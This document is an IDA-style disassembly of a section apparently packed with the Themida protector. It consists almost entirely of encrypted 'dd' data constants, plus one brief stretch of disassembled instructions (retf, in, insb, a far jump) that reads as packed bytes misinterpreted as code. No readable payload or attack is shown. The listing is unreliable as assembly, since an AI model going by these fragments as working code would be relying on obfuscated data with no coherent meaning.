		dd 21031238h, 2992B9BDh, 823100DDh, 7A5F4DF1h, 4200BEE2h
		dd 33A17FFh, 976862h, 0DED58F2Ah, 74434E96h, 0E736553Ah
		dd 0A6916438h, 4980EE2Ah
		dd 595072B2h, 710C7B44h, 80253D6h, 9321C0B8h, 6CD1507Ah
		dd 5474770Ch, 0AB19C9h,	0C0EB02F6h, 10569E41h, 0B0747933h
		dd 0E86A74Fh, 28CB6471h, 54EA00C9h, 646B0B20h, 60AC88D4h
		dd 23A350ECh, 0B911CB4Bh, 50748900h, 0AAEE05Ah,	47E4CE10h
		dd 7F9CD200h, 0EEB2F42Dh, 4F21BD07h, 7DC2B836h,	0ACE48Dh
		dd 0BF8374E2h, 91239F49h, 8AF4133h, 80211C98h, 0BD9D809Ch
		dd 76B193FFh, 0EA22A205h, 0BC01BAA0h, 0C51D685Fh, 0DF5EE08Ah
		dd 0A1B266ACh, 0E9517200h, 6AB0680Ch, 877300D4h, 0BD61B512h
		dd 69C3C192h, 64148D3h,	2CEA4AB9h, 0A25360A0h, 30B8A288h
		dd 0B91829CDh, 5961DF8Dh, 7519006Ah, 0D0EF4535h, 6224D822h
		dd 0F9D3076h, 91667906h, 0A3750311h, 4DEEEF2Dh,	981643F9h
		dd 0DC2161D9h, 0DB2E375Bh, 5D85B1h, 91684B64h, 0C801D105h
		dd 0D94554B8h, 0A1E1434Ch, 6853D083h, 200F04E9h, 0A1A875E5h
		dd 0B2E8E34Ch, 0B5105700h, 1418C749h, 3980CA01h, 0BCA894A4h
		dd 896D04A0h, 1C8186B2h, 0E7D04696h, 0C364A115h, 6CCE3ED0h
		dd 83D820E2h, 591C6743h, 9DEEC42Eh, 207A324Eh, 622D91D6h
		dd 48F98F00h, 0A583FCB6h, 14B27898h, 989597D4h,	402C82CAh
		dd 0EE762E5Ah, 78229546h, 2D92D500h, 0E364F406h, 0D052021Bh
		dd 0DE8EEFBFh, 42399CA0h, 4A0098CBh, 0D7332DCEh, 12C897E3h
		dd 452C65h, 0A13B738Ch,	0E506AAF6h, 40EA9295h, 0BD2F0091h
		dd 0D1C57B17h, 0CA63EEF6h, 94B509h, 17A50F20h, 0E23C7F14h
		dd 784BF102h, 21BA52D3h, 8FD411BCh, 8A5FC989h, 0A3FC062h
		dd 0CCEE455Ah, 0B5684902h, 14BC0177h, 0D33186E3h, 7149B241h
		dd 3FF1C062h, 0BB6043F7h, 3D595B00h, 0DFFF5A45h, 950A1C10h
		dd 0CDF80793h, 498EF674h, 26F1A874h, 837101CCh,	225749B4h
		dd 8B88ED0Ch, 58830079h, 4B85FD73h, 0BD3F9381h,	0EBA686h
		dd 671BC840h, 0C9DB00ACh, 1437981h, 0A0A04EF6h,	486EB5Bh
		dd 0C57217C4h, 20B16219h, 8F17AC04h, 0A261F103h, 0D2E80B23h
		dd 0EECC90DCh, 0FB4209A7h, 0B782B832h, 9480C6B9h, 0C95764EAh
		dd 124BC280h, 2989226h,	657DB34Ch, 0B4E4B865h, 5DB6F560h
		dd 1D76CF00h, 0AED69E59h, 0C9710623h, 78C0F247h, 0D08E7F15h
		dd 0BE580194h, 0EA597228h, 0CE7F20h, 0FA0844ACh, 0B11376AAh
		dd 71434B01h, 7CA25849h, 2CD52C64h, 0DC08657Ah,	2EEF2200h
		dd 0E5105FB5h, 0EA51C4C5h, 0A198D2CCh, 0C3B3E048h, 0D3157898h
		dd 0CC4F16Fh, 0B9E2EEBCh, 2010B0A2h, 8D50D622h,	5C00CE68h
		dd 372EBAC1h, 0E87F04h,	0C8AB09AEh, 0A5450106h,	9DED7539h
		dd 0A04079A2h, 0C5BC9C92h, 767B0058h, 23EF49B6h, 51C3CB8Eh
		dd 0E0BC03A9h, 0A13B2E34h, 1020A6FCh, 2EA43A7h,	0C57617B8h
		dd 0B82831B9h, 17A00021h, 5BDDA9C0h, 1F8900E6h,	0A77F42E1h
		dd 950168A2h, 7D832E08h, 3CBF174h, 0EFA3D388h, 0AC4964h
		dd 9C3B68C2h, 0A520C3A0h, 1900CB29h, 7A90AF56h,	1301870h
		dd 6EEF4292h, 2443985Dh, 120F3940h, 0EBBA8A26h,	917017A8h
		dd 0E33180EDh, 7DD6E4h,	9FC5042h, 2ACEA41Bh, 60C047F9h
		dd 0A9EBC11h, 9010CB64h, 0EE2770C0h, 20D8300Ch,	7D0F4588h
		dd 0A093F929h, 8694B4D0h, 9D5BCB03h, 0F33E4450h, 0B6874F2h
		dd 66DF0C54h, 60A70CA4h, 23A85075h, 0BB11734Bh,	507DAC07h
		dd 0DF5C80F6h, 550B2AB5h, 0B765599Ah, 0BA003D30h, 0C5A1ED68h
		dd 0E6601E9Eh, 0C805CEA0h, 3BD09919h, 3EC47A82h, 80E4ED42h
		dd 32A093Ah, 0E225731Bh, 8487E49Ch, 1F61DCA6h, 0B9DA0211h
		dd 0A037DD80h, 4BD6CA57h, 83BD7439h, 0FAC29D2Ah, 3389EC5h
		dd 421D73ACh, 1026BB01h, 71139041h, 0D365BC40h,	0D2965449h
		dd 10743A10h, 13C09528h, 2E3E01F1h, 0B8034901h,	0DCE6F6A3h
		dd 0ACD0A8h, 0ACB6EF9Dh, 0E9978868h, 91C5730Ah,	0A311D0F6h
		dd 0AC50829Fh, 0BA31D34Bh, 50D88813h, 8107AD1Bh, 34649A5h
		dd 4648EA96h, 50D602A2h, 31DB4BADh, 7EAF10B7h, 58033A50h
		dd 0BA4CE480h, 0A0BE8AD9h, 0D90EF05h, 1CC0A6C8h, 41722645h
		dd 6CC041E7h, 57F9834Dh, 0DE29A6h, 41C65051h, 7F536E49h
		dd 0FF001CE6h, 0B09CB25Ah, 26D37633h, 8124F381h, 0F2685C9Eh
		dd 0BC6870ACh, 81A41258h, 69653FF1h, 0B8264C00h, 0CC937EF8h
		dd 0BA837700h, 86226749h, 9FC4E545h, 1730480h, 0B46BCEC2h
		dd 21C0C804h, 142ACDEEh, 0DAF902E2h, 0E438D37Fh, 0B3E40CE5h
		dd 15E81A63h, 0C5127D02h, 50409542h, 5A2572A1h,	10B560E1h
		dd 79FE585Fh, 90156CB2h, 0C804F46h, 187F2110h, 4E40ADE5h
		dd 5CC2996Fh, 0A4402FA0h, 7137CA53h, 0C131E9F6h, 0E7CED0C4h
		dd 6161C4BCh, 4ADC9D17h, 6279C6BFh, 0CE1F2169h,	8E0020B2h
		dd 0D7A9BA7Ch, 7E55048Bh, 0A4C54274h, 0E969BFE0h, 734C8081h
		dd 0BAD5EEEDh, 78A45224h, 7117BB02h, 24E701C5h,	17A3813Dh
		dd 5F58F1B8h, 67CDF842h, 609A44D8h, 0CAD48E2h, 0C729BA97h
		dd 0DA005AA9h, 5E6F3F22h, 0E40C80F3h, 0A72FA05h, 0D299FA45h
		dd 3FC107E4h, 37A838FDh, 0A1BB4931h, 8C62E8BCh,	4E22CC4Ch
		dd 0F6887F51h, 97CFC121h, 0A1B503F2h, 908408EDh, 7517BFC0h
		dd 4828FFC5h, 17A70DB0h, 96E0612Ch, 2969FB07h, 194901Bh
		dd 4A8F0049h, 54EA247Ch, 0B0071Fh, 56964B0Bh, 0C74812F6h
		dd 60B54450h, 1148DB7h,	5E3E269Dh, 71104898h, 0EF88002Bh
		dd 9B16A65Bh, 0DC00D796h, 5D2824CDh, 75FA1238h,	738C464Eh
		dd 5EF0D043h, 5FE9491Dh, 9FCA4131h, 0A04A1420h,	4C126CA0h
		dd 918AC49Ch, 17BEC090h, 0A946C574h, 0A212B30h,	110017A6h
		dd 78FCD315h, 6C0092Fh,	0FD5A26F4h, 1CA1884Fh, 87A187Fh
		dd 0AF49BD83h, 824EE5C4h, 0CA448020h, 27909E4Bh, 0B84AA480h
		dd 465CBC94h, 260E09E4h, 81C66A2h, 96851049h, 300ACA16h
		dd 8BB8BC4Eh, 0A8CE13BCh, 465C5C74h, 89A53A9Ah,	0E42C97D6h
		dd 0B6D30074h, 36612AD8h, 0F803348Ah, 96CB5910h, 5339C8A7h
		dd 4E809CB2h, 0EBD734C0h, 3C09C019h, 460D815h, 6C8C49F4h
		dd 8CB88C26h, 9E4CC558h, 0FD1E3E05h, 0C1298491h, 69373987h
		dd 8EEE7080h, 9EF47E8Fh, 102696FAh, 578214A9h, 789C5DCFh
		dd 0CE470400h, 0E0C38B21h, 66437850h, 0E82DAC03h, 32BC45EEh
		dd 0A4D3207Eh, 7907FD2Dh, 0E95A37CCh, 484A46B2h, 48EF521Ch
		dd 0A4489964h, 8BFFD113h, 0C07DC8ECh, 183BE895h, 6DC64409h
		dd 0EBCCA20Ch, 0B2E048B9h, 590100CEh, 0D80D27F3h, 8E3DD9BEh
		dd 0D3FF0910h, 42741152h, 506885C5h, 5480D725h,	16BC43CEh
		dd 0F4CCEC55h, 70B1629Ch, 0CED45100h, 3A0D61Ah,	4D1D20BDh
		dd 0D3B880B5h, 0EE4CBCA3h, 7B5880C4h, 0F290A57Eh, 41936C3Bh
		dd 0BF3C1A11h, 7426F45Ah, 8D4F2C41h, 24E399C0h,	74CC4320h
		dd 388694F6h, 29BF496Bh, 0B7B159E0h, 0FF01F926h, 47E95EA0h
		dd 84216A02h, 0ED05D841h, 28C7008h, 49B88375h, 99192277h
		dd 809D9710h, 20311B00h, 7314C85Ah, 49EA4A4Dh, 74C4A220h
		dd 8709390Eh, 0E137036Fh, 0F542D19Ah, 125879A4h, 23343A99h
		dd 741D007Fh, 9A50DB5Bh, 0F6127379h, 8009E132h,	27EF0616h
		dd 6BBF0981h, 442BBC4Bh, 0B991D497h, 9C74B580h,	0C4602954h
		dd 0EF585719h, 15710444h, 0C142A773h, 4D2DD24h,	0F333D090h
		dd 0F0C93CAh, 0EA0582A1h, 451400C8h, 0EB855FF7h, 0EC7C0E24h
		dd 0C28414Ch, 6A62C316h, 56008BF9h, 4A278D61h, 0B13F5DBh
		dd 0B76B1C52h, 8CC9D825h
		dd 31004B54h, 6C060B94h, 310A1E6h, 64FD99EDh, 897A2D3Bh
		dd 0C112D842h, 0EF40203Ch, 3E130C2Bh, 24224264h, 0BDC0E072h
		dd 17E980B5h, 0D4CCD12Ch, 64C484A6h, 64B21CF6h,	0D3268181h
		dd 488EEDD9h, 880361A4h, 0CBDF169Ah, 0DB07F069h, 0C28312ECh
		dd 0C8288B03h, 8852C0B2h, 1E2D8AF3h, 167010CAh,	0D8F6001Fh
		dd 0A2417E35h, 0B409BE64h, 42E05DCDh, 0E28003D0h, 0A705E45Ch
		dd 0B488B4EBh, 0CF6AE601h, 0C59058Fh, 843DC061h, 0D8024EE8h
		dd 42DBB121h, 0C0CC8229h, 55C82093h, 90C3B39Ch,	0D842F353h
		dd 4B6E4A6h, 3ACEC5A2h,	0C920B09Ah, 0B2472Fh, 54EE98C4h
		dd 9430F3D8h, 0EB4F1670h, 57F0C2A0h, 78D00C42h,	0D87B02F8h
		dd 94EA8F3Ch, 7DE836E9h, 16826148h, 3417CA6Ch, 0B9597C42h
		dd 593C44A4h, 0B961C92h, 4C20EE80h, 58343B39h, 0C340ACB6h
		dd 0EF4655h, 87459C15h,	2102C774h, 0A3009AFCh, 0CEA048A5h
		dd 0AE82BEh, 55131C5Fh,	0C79BF587h, 0E6450107h,	0F1403FEFh
		dd 768CA43h, 3AB88FDh, 81C907F6h, 2092D611h, 9EFA80A0h
		dd 36344930h, 1872D10h,	25027F1Dh, 0E89CFDDAh, 56798D46h
		dd 0E8E1C31Ch, 0FE0B750Fh, 0E0E9C2CFh, 134CEF14h, 84D5F99h
		dd 71817064h, 0BFE8E225h, 46F91881h, 40F77ECEh,	0C65D74C0h
		dd 807229CFh, 0F64B8D56h, 0D0E554DEh, 4AF30511h, 90B7AD5Ah
		dd 97916F40h, 8C59D8A2h, 8694B278h, 980ACD38h, 49807437h
		dd 18DB88ECh, 88A18328h, 14BC2D12h, 0B01DE40Fh,	6538127Ch
		dd 2A30406Dh, 51AD1EAFh, 0E0335900h, 9137E94Ah,	8A98C2CDh
		dd 8071D035h, 0EF18B979h, 76040700h, 72CEEEFAh,	89A09E98h
		dd 4C0916ECh, 18A51061h, 701708BAh, 0E7009C5h, 271775A2h
		dd 9011B586h, 0C437E099h, 424D8800h, 0EF362FD0h, 287E474h
		dd 0EB913032h, 0D4E42A12h, 713A3E00h, 94016F6h,	846100BFh
		dd 9254357Eh, 0F23BEFEDh, 0F07904CDh, 0F087717Dh, 11204589h
		dd 3849093Ch, 2850E1h, 241B3EFh, 53B4A934h, 280F5DE2h
		dd 2B57E0Ch, 70B75045h,	78B4B3D4h, 92094422h, 663C998Ah
		dd 56E496D8h, 7F009946h, 2985AB71h
; ---------------------------------------------------------------------------
		push	ebp


loc_505445:				; DATA XREF: ___:off_4374C0o
		jnb	short loc_505458
		mov	edi, 0A227D7EEh
		sub	al, 5Dh
		retf
; ---------------------------------------------------------------------------
		dd 621C8309h, 55890774h
; ---------------------------------------------------------------------------


loc_505458:				; CODE XREF: Themida_:loc_505445j
		inc	ebx
		mov	esi, 39182019h
		add	al, 0B9h
		jge	short near ptr loc_50546D+6
		or	edx, [eax+ebx*2+1Bh]
		inc	esp
		or	esp, [edi+edx*4-58h]
		xchg	eax, ecx
		in	eax, dx


loc_50546D:				; CODE XREF: Themida_:00505460j
		sub	byte ptr [edx+57EE2E61h], 3
		cmp	esp, [ecx+4401539Eh]
		mov	ds:4F70509Ah, al
		popf
		popa
		insb
		jmp	far ptr	463Ah:404910CBh
; ---------------------------------------------------------------------------
		db 75h,	42h, 40h
		dd 9430E4A2h, 0EE51385Bh, 84505C92h, 9ACA28Ch, 2C755AC2h
		dd 0BE7949FCh, 1300DC10h, 0AEE64B4Dh, 3C7406F1h, 2613EFC0h
		dd 5324804Ah, 0F1B0DC55h, 84D2D402h, 62630512h,	80C054DCh
		dd 4E1680Bh, 7982C8D1h,	94B3D8ACh, 58BCEC86h, 0D385BCE9h
		dd 22708840h, 406CEA25h, 5537F190h, 0B5ECB0ADh,	94C101A7h
		dd 313EA33Dh, 4FCBC0B6h, 884260BCh, 52224057h, 12380DBCh
		dd 5B48B4F5h, 33C0DF54h, 81D3EC3Dh, 4EC54FC1h, 29788EA4h
		dd 0D500DEA9h, 0EDE4F054h, 2876CEBh, 45F19A93h,	4847AF8Ch
		dd 9360E644h, 9E244BA2h, 50AC40C2h, 11A60E60h, 1EA30033h
		dd 4C9158D1h, 0A104B18Bh, 0D627D8FFh, 0BABC90ACh, 0FA1018Ch
		dd 0E4677E0Eh, 77C45044h, 9A023293h, 0EDCB75CCh, 9F1C608Dh
		dd 0AD028667h, 0BDEEE92Dh, 4EA0594Eh, 482DA541h, 0D40BD0DCh
		dd 0D71B990Ch, 8C9C4886h, 742E5804h, 44ACA5EEh,	2D90D7B0h
		dd 4C466600h, 0C1E9FFD5h, 35A40CB0h, 9C9C329h, 0BFE6D607h
		dd 460E372h, 2B1F163h, 0CDFCB96Bh, 0C471DB8Ah, 7132D664h
		dd 8837030h, 227F49BBh,	9440EE64h, 0B42F8378h, 35D1FF01h
		dd 11AADE9Ch, 92F6DC40h, 68A681F7h, 7148048h, 47B0F0h
		dd 0AEE252BDh, 718EEF4Bh, 124CED58h, 0FC09B920h, 0FE48182h
		dd 0D3FDC96Ch, 0E8367180h, 6AB7DA5Fh, 0A87B5700h, 73B3D6Eh
		dd 7EC0B420h, 0F509B346h, 0A010ECBCh, 0B14A3FC1h, 0E95ED881h
		dd 106CF8E6h, 5C13E86Ch, 6DC6C310h, 42190650h, 499BEBBCh
		dd 0ED72A205h, 9820DC8Eh, 4B721h, 642A335Eh, 42A53D66h
		dd 7E73AB12h, 9EEE7030h, 0A6FB0061h, 0F87986F3h, 6C0B7A29h
		dd 83EEC52h, 3925ACFEh,	0E818A000h, 4BAF5008h, 41B6C4EBh
		dd 0EC5070ADh, 0C62798DBh, 66690076h, 9DFFD263h, 0B650AC28h
		dd 3CB96590h, 0FD18B879h, 7466E109h, 0DE8C6A5Ch, 5CF6148Eh
		dd 0DEC3E812h, 63CD805Ch, 0F10EFBCh, 65C69FF7h,	25C0444Ah
		dd 52DFB004h, 40DCC88h,	3416B67Fh, 12149515h, 0E038203Bh
		dd 0F800AB2Dh, 0FB794487h, 0C37D8Fh, 9204A3Ah, 7D7C551h
		dd 0DDB4A548h, 0E46A648Eh, 4F807317h, 75E97A0h,	3B1B0F19h
		dd 0B1ED1075h, 10B398C3h, 0F519B551h, 5C2AF0FBh, 0A89F553Dh
		dd 12E4206Ch, 0A40BE94Fh, 9D68805Fh, 0FF416848h, 381A5C21h
		dd 0F71D88C0h, 47029333h, 2E4BB61Ch, 7C087495h,	55077846h
		dd 31654245h, 608B11C4h, 0C740E1E4h, 5868705Dh,	8B4AA417h
		dd 0C0B5C810h, 2562B64Eh, 73105A03h, 4A6EBA2h, 0EABA5021h
		dd 46808081h, 0F8F872B0h, 99CE2201h, 3EF6ABA0h,	0A128442Bh
		dd 0C01CDBD3h, 0C18F57FBh, 8878B6ECh, 381C7D15h, 93D32A48h
		dd 82BF0577h, 0E24C06Ch, 0C127705Bh, 165C46D0h,	4BB4695h
		dd 0CCA11D8h, 12E84014h, 229054h, 954E0870h, 0E93038C3h
		dd 94EF68CBh, 0DB641604h, 0A24C166h, 87A502BFh,	188E1B0h
		dd 0EC64A47Fh, 6D48822Eh, 41A16982h, 7718A5C0h,	445A5009h
		dd 60A05903h, 86507F92h, 582CD504h, 4CA2EE47h, 4EB85A18h
		dd 5500961Ah, 0E4C334F5h, 0B3DBA9Ah, 0F942C573h, 536044AEh
		dd 0C1F33FFh, 0B528397Ch, 0C5028C67h, 0F506F640h, 0D184D9C0h
		dd 24A01861h, 80ECCA8Eh, 262A7D64h, 9D1F4193h, 10268C15h
		dd 784CB911h, 0B8CE4E8h, 0BF10DC30h, 0F10874C4h, 171725Fh
		dd 0BCFAF252h, 74D8D1F6h, 0D205025Ch, 1BC4954Ch, 50BCA0F4h
		dd 30D35417h, 0EF194C6Dh, 654B68B6h, 6C06C9Ah, 5C3DB627h
		dd 8F4B850Ch, 5B61D1h, 7CE2E55Fh, 0C146EE8Bh, 0D752DB00h
		dd 80595198h, 0AC5CB639h, 0B546749Ch, 8C59C103h, 0F18880FEh
		dd 0CEE4A2ABh, 0DF7227h, 2D680BBCh, 4A90A165h, 0CEE7440h
		dd 6B212F60h, 0EAE485h,	0FA405D18h, 0C99DCAAh, 869516D8h
		dd 0BAAB303Eh, 63CF80DEh, 0A421339Bh, 52F80120h, 0BB4EADE9h
		dd 84D022A1h, 5F0E6ED2h, 0B4989689h, 18D465A9h,	171610A8h
		dd 3A10337Eh, 8FF8AD41h, 0F2F7CE50h, 0B5015CF2h, 6A87DA41h
		dd 58619AA4h, 72804868h, 11D3203Bh, 0A2B6FC16h,	67F6C88h
		dd 457C562Fh, 671370C1h, 0E87AD11Ch, 0BABB300h,	50C548B6h
		dd 9043294Fh, 0A0872C19h, 77614EDh, 4B2145CFh, 633BD352h
		dd 1888C14Eh, 0A24D00F0h, 8B04E151h, 25006ED9h,	0AB7BB1A1h
		dd 3DE0970Fh, 39E06282h, 10811880h, 671B403h, 0B948E537h
		dd 0E8406885h, 0C18494E3h, 0F64BC259h, 0B16874EAh, 9848492Ch
		dd 62E4E5C9h, 90189516h, 592005Fh, 603CDB1Fh, 38B62A6Ah
		dd 1F6E340h, 41440048h,	719D3EA2h, 5413EB51h, 28A3C70Eh
		dd 9031DEB2h, 0EF83847Ch, 2CC87BEDh, 0E9F6BCEAh, 0A45AC800h
		dd 7349786Dh, 0C98E304Dh, 371F1191h, 7B58E900h,	6814BEF7h
		dd 4FEC9ABDh, 0C854CB7Ch, 0C54C063h, 0E0757303h, 0BF7DA909h
		dd 0C66092E9h, 97B0060h, 0A264783Dh, 88005B67h,	863EB9F4h
		dd 272F5F10h, 7820660Ch, 480B46CFh, 0D8556511h,	64C7C10Ch
		dd 0B8B98E21h, 4A2BFF00h, 15113DAh, 0C2C362AFh,	7006B57Fh
		dd 0F97E888h, 0E4A40BC8h, 148E0B54h, 0BD83F77Ch, 0B388E8A6h
		dd 30C22E5Fh, 646672C1h, 859400F0h, 0E7F88B09h,	0D677E030h
		dd 41802100h, 94331703h, 0E607C8Ch, 6675DBE8h, 6A3D3938h
		dd 0BA2CC001h, 39F84A8Fh, 16ACC0h, 7C656FD1h, 0ED7AA3A0h
		dd 7418A297h, 25C0F25Ch, 204E7D82h, 74A1B504h, 0D4B8BD76h
		dd 1C8CEEBCh, 79FA98h, 758F0A1Ah, 4417F978h, 24804226h
		dd 49004A4h, 0C1D46ABBh, 9634B438h, 1F646D10h, 110F44Ch
		dd 0E8CC58B3h, 0CF098C6Ch, 18B23135h, 0F22AA8DCh, 0EF660219h
		dd 11A445BDh, 0B6790059h, 6B00FA18h, 5D7D3C1Ch,	2ADF20BEh
		dd 97F8ACEBh, 0E4000C37h, 10430FE1h, 0F88C17AEh, 0DEEC0146h
		dd 8296679Fh, 0E041BAC1h, 0C0986A5Ah, 80B4C5A4h, 9186849h
		dd 0F119DC69h, 754384A2h, 84BD2110h, 810FC191h,	0C254B496h
		dd 4213097Bh, 0D821C3B2h, 2033EA4Fh, 5DC04B0Ah,	12870048h
		dd 0A40DCE83h, 0C4E8B254h, 0B8B56144h, 64851284h, 0EE883080h
		dd 0DD0321EFh, 58D5DF28h, 0F86CC8EAh, 1640C0B5h, 0DC86A3D6h
		dd 9158109Dh, 8AEC37h, 7B298ADh, 0E231C37Bh, 0D2D4E411h
		dd 0DE9EA30Bh, 100BAC70h, 6DE5EF16h, 485C69FCh,	0A06E290Bh
		dd 0A77A9D64h, 3B792CA4h, 0E1B600C8h, 75878F16h, 6B557418h
		dd 94C129h, 0F7ED8ED0h,	7F9641B3h, 6FD3D20Ch, 14388177h
		dd 0ECEE7AB8h, 0D03AF158h, 227ED703h, 0C8C0A479h, 2AF05F75h
		dd 4F4E9009h, 0E838D82Fh, 4563C99h, 775FD78Dh, 40BAD030h
		dd 0B2482890h, 44D600FDh, 7F02114Dh, 0D7DF3A46h, 80D16601h
		dd 80D85DE5h, 11B56E10h, 4843BC8Ch, 9117BCD6h, 3EA8C754h
		dd 59BFE840h, 6D2C8C76h, 8E0BF8C2h, 5EECA130h, 87705B05h
		dd 0AA700088h, 752F9C8Bh, 37485A4h, 11B2E231h, 79186687h
		dd 0A2AB053Dh, 27A0DBCh, 6F4196A9h, 4929003Ch, 7214187Dh
		dd 0FA00A87Ch, 73AF8CF3h, 0A019EEEh, 0D0ED7468h, 0BC234FC8h
		dd 0D830B3F2h, 406419EFh, 0D57249EDh, 543D8Dh, 7BBB4A4Ch
		dd 1B38840h, 27D7ADE2h,	4241D3F3h, 70E1E93Ch, 3954CC44h
		dd 87C9F43Dh, 9D8145A1h, 0B4A440F5h, 0C0E935BCh, 94A48159h
		dd 0EC202F3Dh, 0E869D8h, 732E3ADEh, 0CAF9A496h,	0C977C100h
		dd 8BF2224Ah, 0C32A0456h, 0ED29A3EFh, 529100D4h, 4C82335h
		dd 0F14D3A21h, 0D15FBF00h, 0B01B3EAh, 29B5460Ch, 19331C0h
		dd 0CF39AA88h, 0E0DDE62Dh
		dd 50E26314h, 80B86648h, 9E571B81h, 0B7EF017h, 5B4EFBE5h
		dd 74C33C02h, 712664D0h, 720108C6h, 0E45C24CEh,	0CA00FC29h
		dd 9DA0F8F1h, 1316B4B6h, 0CCCB6DFBh, 77C098C8h,	0F0B2A1C7h
		dd 0E1C7251h, 0BC93CF11h, 4D35D84h, 0E4EDEAA2h,	0C3834900h
		dd 57DAB096h, 7C0C1101h, 3DCACE6Bh, 0FA7BC9E4h,	0BCEB33ACh
		dd 7090E131h, 3400BD63h, 653247E7h, 0A8B96Fh, 390C14C9h
		dd 0BA4A805Ah, 7C88924Eh, 7F0A00DBh, 865DE043h,	6B0135D6h
		dd 0FD0E47F9h, 406A4B64h, 16E07270h, 0D1262438h, 4B40548Eh
		dd 9BB4751h, 0B9650C6Fh, 0FD8F0F3h, 54574B74h, 144CE86Ch
		dd 6EF98280h, 40986B4Bh, 0EBE0CE45h, 0B4C7EC0Ch, 0DF4676A8h
		dd 0BF1B5B09h, 0B8E46430h, 30A9A8A8h, 1554020Eh, 0AB1D0024h
		dd 307356CDh, 95E911BFh, 0EA0BD7C5h, 79D3238Eh,	18EED980h
		dd 6AEB005Ah, 0D50B99FBh, 28309D07h, 0BE47A9C7h, 2557FF1h
		dd 0C3E071EDh, 0D583850Dh, 0C19098C0h, 94A8A1CEh, 0A0954B74h
		dd 5A26FF68h, 5EF8A290h, 0E546745Ch, 30C8D538h,	0E363C0DCh
		dd 0F7F6C5A6h, 41D82600h, 0EA3F9D4Bh, 0EBE42A09h, 0C41097CCh
		dd 7E2C2EBFh, 1F01ABFCh, 0BC670BA1h, 0A572827Bh, 74E87C42h
		dd 0F60540FAh, 41DC4AAFh, 2B66B490h, 0F1450594h, 19A029B6h
		dd 1EAF86Ch, 0DC2DD7A6h, 640B1D4Ch, 0CC6827Bh, 3940D337h
		dd 0C12EA87h, 80184A9Dh, 0AF485468h, 0F563ECFh,	0B05AC58Ah
		dd 2CE0A598h, 60E7E138h, 8120990h, 0C8C8B6E7h, 0E383008Ah
		dd 46B2BC1Dh, 1B1DD2CEh, 8784B40Fh, 0F4E44A64h,	0A0B054EBh
		dd 0F9470003h, 242F45DFh, 30000C0Dh, 53294396h,	10548F6h
		dd 404F4BC9h, 2012DF9Eh, 0E8AADE34h, 0ED443847h, 7D902760h
		dd 32F55607h, 0EF60F862h, 27589E47h, 0D89DDC5Ch, 6E807D11h
		dd 0A8AE4902h, 3C1474B4h, 48C841A8h, 91269DD8h,	11303F72h
		dd 50DE7F2Eh, 2C8A699h,	4BA1150Ch, 34F970B3h, 2E2DA600h
		dd 18131F89h, 0B49B0279h, 4A0BC1C9h, 7BD0F6A9h,	0ED4470E8h
		dd 76A50801h, 0D7D96AE4h, 0BC547470h, 27EB9650h, 0DDD880A0h
		dd 8600F732h, 0ACF1A415h, 41BC7D3h, 0AB03C3A5h,	0EEC3C223h
		dd 100B471h, 89DCBE73h,	0C53D01D8h, 9499F364h, 82D54533h
		dd 3472E4AAh, 227258h, 3CE31713h, 0F3DA9B0Eh, 123A66FCh
		dd 0E08C6DA1h, 48C7A04h, 49BE837Bh, 0CF50B287h,	0EA1DF381h
		dd 0C3BB1940h, 25EDA72h, 0DD4BB42Bh, 0E0642899h, 863B32A0h
		dd 18220E37h, 0BE06280h, 0A5300133h, 2B8A42B9h,	0A2A433D2h
		dd 45D130B7h, 5259F900h, 329C35Ah, 6D6220AFh, 4EBC4F00h
		dd 7440E2DEh, 0EEE00966h, 6845ED47h, 189516E2h,	0E900E3B7h
		dd 8461FC5h, 982B2FCFh,	0EBC7447Ch, 4C0050B9h, 0B0F7CF80h
		dd 729A002Dh, 76D9E873h, 85772ECEh, 0D391F90Bh,	4EEC5A52h
		dd 20404562h, 18880D6h,	0D900316Ah, 945568Fh, 780A5B41h
		dd 0F83F4D62h, 9BA2D843h, 0B2DDE30h, 4864A719h,	777278E8h
		dd 7090B805h, 4B48EEDh,	2D614C85h, 3100BB4Ch, 7AAA83E3h
		dd 0AB00DB66h, 685F3DAFh, 53D0F409h, 0B1A1A8C8h, 0C740C94h
		dd 0E829B4F2h, 2F003D89h, 26C8E730h, 0B0410F42h, 0C4748520h
		dd 10B167E5h, 0C47238C2h, 0C430345Fh, 10C8A3F0h, 0EB18049Eh
		dd 0B5CA1942h, 0C07D1201h, 22F3B99Dh, 2E5B7038h, 0B62380h
		dd 46E1414Dh, 741F432Eh, 0C44A29E0h, 54084C6Ch,	4BFF9FECh
		dd 9C12A812h, 0D6ACD4h,	0EE75972Eh, 5674F9BCh, 6DA1B727h
		dd 3018C008h, 0C458EB3Eh, 90BF2C32h, 58AA749Ch,	10E4804Ch
		dd 0AFC0679Dh, 0ADEEEB2Dh, 4C1697h, 72DA7D0h, 0A1CFCD55h
		dd 0B89DD300h, 73C50FFEh, 5CACBEE4h, 1C00BE46h,	6EC49D3Ah
		dd 536BDA89h, 444070A8h, 152CBC04h, 184BF8C1h, 18431CB4h
		dd 546B0501h, 5F0AB055h, 24C10AFAh, 0D392E41Dh,	15BCD8A9h
		dd 2603DE00h, 35728155h, 38B30BEEh, 0E804232Ah,	0C16F5FEFh
		dd 202A07DCh, 7F0268A0h, 0B1EA1705h, 10CC38C6h,	3820B739h
		dd 8977D128h, 0E9547F1Dh, 0FA38A203h, 8F2900ACh, 0E524127Ah
		dd 801F045h, 2F40EF20h,	3426EC5Fh, 88483F3Eh, 0ED282C74h
		dd 0C67508ACh, 0E0F20113h, 0C9528F1h, 7D63006Eh, 0BC8C9F96h
		dd 6896EBEAh, 84DF3D81h, 7394F9h, 393078A2h, 0F52131C8h
		dd 40720F72h, 6ACB0CA8h, 0BAD9E93Ah, 38012A56h,	6011B602h
		dd 0DA8DB229h, 8E3D00ECh, 524B1CF2h, 0CA092C5Eh, 98B88507h
		dd 1F3DD444h, 869B1FE9h, 50769650h, 6672A217h, 3210D890h
		dd 3D9D0025h, 30A6513Ch, 85049438h, 6945A3F0h, 5D1BBC81h
		dd 0C0F8F425h, 0CD2E015Fh, 12991883h, 0CAD1E0B9h, 0E6135371h
		dd 1300C8B7h, 4FD03FEBh, 3A5E00EFh, 5BB1FA6Ch, 8801CD69h
		dd 0B6EB7CBBh, 11FCBE49h, 0CAED1E3Fh, 36B8002Dh, 0C5859F0Fh
		dd 8889532Eh, 0C3500Bh,	0F9036544h, 1096021Ch, 123D73CFh
		dd 5D049Dh, 8394A4AAh, 500109C3h, 75F55C4Bh, 0B4EFB404h
		dd 0F02439C0h, 904F1FF8h, 52B70378h, 3D8E4FBh, 20C136D5h
		dd 0E2C3F88Dh, 3F013883h, 60007276h, 8C6CCE0Ah,	0B2B836h
